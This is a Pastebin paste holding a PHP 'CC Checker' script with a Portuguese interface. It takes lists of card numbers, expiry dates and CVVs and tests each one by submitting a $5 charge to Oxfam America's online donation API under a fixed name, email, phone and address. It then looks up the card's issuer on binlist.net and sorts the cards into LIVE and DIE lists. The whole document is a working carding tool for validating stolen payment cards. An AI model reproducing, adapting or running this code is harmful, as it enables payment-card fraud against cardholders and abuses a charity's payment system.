Advertisement
Guest User

Untitled

a guest
Oct 26th, 2016
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.33 KB | None | 0 0
  1. <?php
  2.  
  3. function GetStr($string, $start, $end){
  4. $str = explode($start, $string);
  5. $str = explode($end, $str[1]);
  6. return $str[0];
  7. }
  8.  
  9. class cURL {
  10. var $callback = false;
  11. function setCallback($func_name) {
  12. $this->callback = $func_name;
  13. }
  14. function doRequest($method, $url, $vars) {
  15. $ch = curl_init();
  16. curl_setopt($ch, CURLOPT_URL, $url);
  17. curl_setopt($ch, CURLOPT_HEADER, 0);
  18. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  19. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  25. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  26. curl_setopt($ch, CURLOPT_REFERER, 'https://secure2.oxfamamerica.org/page/content/donate/');
  27. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  28. if ($method == 'POST') {
  29. curl_setopt($ch, CURLOPT_POST, 1);
  30. curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
  31. }
  32. $data = curl_exec($ch);
  33. curl_close($ch);
  34. if ($data) {
  35. if ($this->callback) {
  36. $callback = $this->callback;
  37. $this->callback = false;
  38. return call_user_func($callback, $data);
  39. } else {
  40. return $data;
  41. }
  42. } else {
  43. return curl_error($ch);
  44. }
  45. }
  46. function get($url) {
  47. return $this->doRequest('GET', $url, 'NULL');
  48. }
  49. function post($url, $vars) {
  50. return $this->doRequest('POST', $url, $vars);
  51. }
  52. }
  53.  
  54. ?>
  55. <!DOCTYPE html>
  56. <html lang="en">
  57. <head>
  58. <meta charset="utf-8">
  59. <title>CC Checker</title>
  60.  
  61. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  62.  
  63.  
  64. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  65.  
  66.  
  67. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  68. <link rel="../stylesheet" href="css/css/font-awesome.min.css">
  69. <script>
  70. function aprovadas(str){
  71. document.getElementById('aprovadas').innerHTML += ''+ str +'\n';
  72. }
  73. function reprovadas(str){
  74. document.getElementById('reprovadas').innerHTML += ''+ str +'\n';
  75. }
  76. </script>
  77. </head>
  78. <body>
  79. <div class="container">
  80. <div class="row">
  81. <center><h2>CC Checker</h2></center>
  82. <center><p style="font-size:19px">Separador |</p></center>
  83. <form action="" method="post">
  84. <textarea name="list" class="form-control" rows="10" placeholder="4066551984618111|10|2019|484"></textarea>
  85. <hr>
  86. <center><input type="submit" name="att" class="btn" value="Começar Teste"></center>
  87. </form>
  88. <br>
  89. <center>
  90. <fieldset id="aprovadas">
  91. <legend>LIVE</legend>
  92. </fieldset>
  93. <fieldset id="reprovadas">
  94. <legend>DIE</legend>
  95. </fieldset>
  96. </center>
  97. </div>
  98. </div>
  99. </body>
  100. </html>
  101.  
  102. <?php
  103.  
  104. error_reporting(0);
  105. set_time_limit(0);
  106.  
  107. function Aprovadas($str){
  108. echo '<script>aprovadas(\''. $str .'\');</script>';
  109. }
  110.  
  111. function Reprovadas($str){
  112. echo '<script>reprovadas(\''. $str .'\');</script>';
  113. }
  114.  
  115. if (isset($_POST['att'])) {
  116. $line = explode("\r\n", $_POST['list']);
  117. flush(); ob_flush();
  118. foreach ($line as $key => $value) {
  119. list($numero, $mes, $ano, $cvv) = explode("|", $value);
  120. $list = $numero.' | '.$mes.' | '.$ano.' | '.$cvv;
  121. $a = new cURL();
  122. $b = $a->post('https://secure2.oxfamamerica.org/page/cde/Api/Charge/v1', 'l-tm-sid=oxfam-K9T9fA5FaxZwuRG3cEkrJapJrwfqjAXI&slug=main_donate_onetime&amount=other&amount_other=5.00&firstname=William+M.&lastname=Mallory&email=willianmallory%40gmail.com&phone=516-285-8072&addr1=3620+Heavner+Court&addr2=&city=Queens&state_cd=NY&state_text=&zip=11413&country=US&cc_type_cd=mc&cc_number='. $numero .'&cc_cvv='. $cvv .'&cc_expir_month='. $mes .'&cc_expir_year='. $ano .'&source=default&source_codes=default');
  123. $x = json_decode($b);
  124. $y = $a->get('https://binlist.net/json/'.substr($numero, 0, 6));
  125. if (file_exists(getcwd().'/cookie.txt')) {
  126. unlink(getcwd().'/cookie.txt');
  127. }
  128. $z = json_decode($y);
  129. $brand = $z->{'brand'};
  130. $country_name = $z->{'country_name'};
  131. $bank = $z->{'bank'};
  132. $card_type = $z->{'card_type'};
  133. $result = $x->{'status'};
  134. flush(); ob_flush();
  135. if ($result == 'fail') {
  136. Reprovadas('|DIE| '. $list .'<br>');
  137. }else {
  138. Aprovadas('|LIVE| '. $list .' | '. $brand .' | '. $country_name .' | '. $bank .' | '. $card_type . '<br>');
  139. }
  140. }
  141. }
  142.  
  143. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement